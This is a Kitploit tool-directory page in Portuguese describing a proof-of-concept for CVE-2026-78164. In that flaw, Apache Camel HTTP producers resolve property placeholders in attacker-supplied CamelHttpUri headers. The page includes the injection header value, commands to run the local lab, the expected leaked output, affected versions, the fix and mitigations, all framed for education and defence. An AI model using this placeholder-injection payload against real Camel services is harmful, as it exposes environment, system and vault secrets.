Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-78164 — Prova de conceito executável para CVE-2026-78164, demonstrando vazamento de segredos quando produtores HTTP do Apache Camel resolvem placeholders de propriedades em cabeçalhos CamelHttpUri fornecidos pelo atacante. | Kitploit
Ferramentas/GitHubGitHub/oscerd/cve-2026-78164
Ferramentas DefensivasAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebExfiltração de DadosColeta de InformaçõesAprendizado e Educação
GitHuboscerd/cve-2026-78164

CVE-2026-78164

Prova de conceito executável para CVE-2026-78164, demonstrando vazamento de segredos quando produtores HTTP do Apache Camel resolvem placeholders de propriedades em cabeçalhos CamelHttpUri fornecidos pelo atacante.

Ver Repositório
1há 2 diasAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-78164 — Produtores HTTP do Camel resolvem placeholders de propriedades em cabeçalhos de URI fornecidos pela mensagem

Reprodutor de prova de conceito executável para a vulnerabilidade do Apache Camel em que as famílias de produtores HTTP permitem que uma mensagem de entrada substitua a URI do endpoint através dos cabeçalhos CamelHttpUri e CamelRestHttpUri, e em seguida passavam essa string fornecida pela mensagem por CamelContext.resolvePropertyPlaceholders() antes de utilizá-la.

A resolução de placeholders de propriedades é um mecanismo de resolução de configuração, não uma etapa de análise de URI. Ela alcança variáveis de ambiente do sistema operacional, propriedades de sistema da JVM, todas as PropertiesFunction no classpath (incluindo as funções de segredo AWS, Azure, GCP, HashiCorp, IBM, CyberArk e Kubernetes) e — através do camel-bean — a invocação de um método sem argumentos em qualquer bean no registro. Aplicá-la a conteúdo de Exchange influenciado pelo atacante transforma uma string de URI num contexto de avaliação de configuração e de beans. O autor da rota não optou por nada disso: um simples to("http://backend/api") estático era suficiente.

RuntimeDiretórioStack
Camel Spring Bootcamel-spring-boot/Spring Boot 3.5.13 + camel-http 4.22.0 (afetado; corrigido em 4.22.1)
Camel Quarkuscamel-quarkus/Quarkus 3.29.0 + camel-quarkus-http 3.29.0 (Camel 4.15.0, afetado)

O comportamento é anterior à linha 4.x (remonta ao camel-http4 / camel-netty4), portanto todas as versões afetadas e o Camel 4.15.0 no Camel Quarkus mais recente são vulneráveis. A correção é entregue no Camel 4.18.5 / 4.22.1 / 4.23.0; o módulo Spring Boot executa tanto a build afetada (4.22.0) quanto a build corrigida (4.22.1). Nenhum Camel Quarkus lançado até agora inclui um Camel corrigido.

O que demonstra

A rota é um simples to("http://127.0.0.1:9100/collect") estático apontando para um coletor local. O atacante define o cabeçalho CamelHttpUri para uma URI contendo um token de placeholder de propriedade — sem conhecer o valor do segredo, apenas nomeando a chave:

CamelHttpUri: http://127.0.0.1:9100/collect?leak={{sys:cve78164.secret}}

O aplicativo define uma propriedade de sistema da JVM cve78164.secret para representar qualquer valor de configuração ou segredo de vault. Na build afetada, o produtor resolve o placeholder antes de a requisição ser enviada, então o coletor vê o segredo na consulta de saída. Na build corrigida, o token é encaminhado literalmente.

cd camel-spring-boot
mvn clean package
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down

Saída esperada na build afetada:

Outbound request observed by the collector:
    GET /collect?leak=S3CR3T-cve78164-do-not-leak

>>> PROVEN: the {{sys:...}} placeholder in the attacker-supplied CamelHttpUri was resolved,
>>> expanding the secret 'S3CR3T-cve78164-do-not-leak' into the outbound request.

Na build corrigida, o coletor passa a ver GET /collect?leak={{sys:cve78164.secret}} (literal, não resolvido).

Resumo da Vulnerabilidade

PropriedadeValor
Componentecamel-http / camel-http-common / camel-vertx-http / camel-undertow / camel-netty-http
CWECWE-1336 (Neutralização Imprópria de Elementos Especiais Usados em um Motor de Template), CWE-200 (Exposição de Informações)
SeveridadeALTA
Vetor de ataqueCabeçalho de substituição CamelHttpUri / CamelRestHttpUri carregando um token {{...}}; o corpo/cabeçalhos não são limitados por bridgeEndpoint, e vários consumidores preenchem CamelHttpUri a partir da linha de requisição como recurso de proxy reverso
ImpactoExpansão de variáveis de ambiente, propriedades de sistema e segredos de vault na requisição de saída; invocação sem argumentos de beans do registry; um oráculo de chave de configuração definida/não definida por meio do erro ecoado
Versões AfetadasA partir de 4.0.0 antes de 4.18.5, a partir de 4.19.0 antes de 4.22.1 (o comportamento é anterior à 4.x)
Versões Corrigidas4.18.5, 4.22.1, 4.23.0
JIRACAMEL-24418
Crédito[email protected]

Aviso: https://camel.apache.org/security/CVE-2026-78164.html

A correção

A chamada resolvePropertyPlaceholders() por mensagem é removida em todos os locais afetados, de modo que um token {{...}} que aparece apenas em CamelHttpUri ou CamelRestHttpUri agora é tratado como parte literal da URI. Placeholders na URI do próprio endpoint da rota não são afetados — eles são resolvidos uma única vez, em tempo de build, quando o endpoint é criado.

Mitigação se você não puder atualizar

Remova os cabeçalhos de substituição na fronteira de confiança antes do producer com removeHeader("CamelHttpUri") e removeHeader("CamelRestHttpUri"), ou defina skipControlHeaders=true nos endpoints camel-http (o único componente que oferece essa opção). bridgeEndpoint=true não é uma solução alternativa. Aplique um HeaderFilterStrategy de entrada estrito nos consumidores expostos a remetentes não confiáveis, e resolva segredos por meio de um vault em vez de por variáveis de ambiente/sistema que um placeholder possa nomear.

Aviso Legal

Este repositório é publicado para fins educacionais e defensivos: para ajudar usuários do Apache Camel a entender a vulnerabilidade, verificar se são afetados e confirmar que a atualização a resolve. O "segredo" é um fixture local inerte. Não use este material contra sistemas que você não possui ou opera.

Baixar ferramenta